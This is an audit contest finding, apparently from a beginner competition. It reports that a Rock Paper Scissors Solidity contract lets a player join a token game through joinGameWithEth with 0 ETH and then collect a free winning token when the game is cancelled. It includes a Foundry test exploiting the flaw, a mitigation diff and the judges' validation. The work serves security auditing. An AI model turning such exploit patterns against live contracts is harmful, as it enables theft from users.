Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Player can join a token game by calling `joinGameWithEth` with 0 ETH

Description: If player A creates a game requiring a winning token bet, and player B joins using joinGameWithEth
while sending 0 ETH, player B can still join the game successfully.
This enables player B to participate without placing any actual winning token
as a bet. If player A subsequently calls cancelGame, player B will receive 1 winning token for free.

Impact: This compromises the fairness of the game, as players can effortlessly fabricate any desired amount of winning tokens.

Proof of Concept: add the following test and run it

function testAuditJoinTokenGameWithETH() public {
uint256 playerA_token_balance_before = token.balanceOf(playerA);
uint256 playerB_token_balance_before = token.balanceOf(playerB);
vm.startPrank(playerA);
token.approve(address(game), 1);
uint256 gameId = game.createGameWithToken(3, 1 days);
vm.stopPrank();
vm.prank(playerB);
game.joinGameWithEth(gameId); // join a token game with ETH
// Check that the game was created successfully
(address _playerA, address _playerB,,,,,,,,,,,,,,) = game.games(gameId);
assertEq(_playerA, playerA);
assertEq(_playerB, playerB);
vm.prank(playerA);
game.cancelGame(gameId);
assertEq(playerA_token_balance_before, token.balanceOf(playerA));
assertEq(playerB_token_balance_before + 1, token.balanceOf(playerB)); // player B get 1 winning token for free
}

Recommended Mitigation:
add a game.bet >= minBet check in joinGameWithEth function

function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
require(msg.value == game.bet, "Bet amount must match creator's bet");
+ require(game.bet >= minBet, "This game requires ETH bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game Staking Inconsistency

joinGameWithEth function lacks a check to verify the game was created with ETH

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.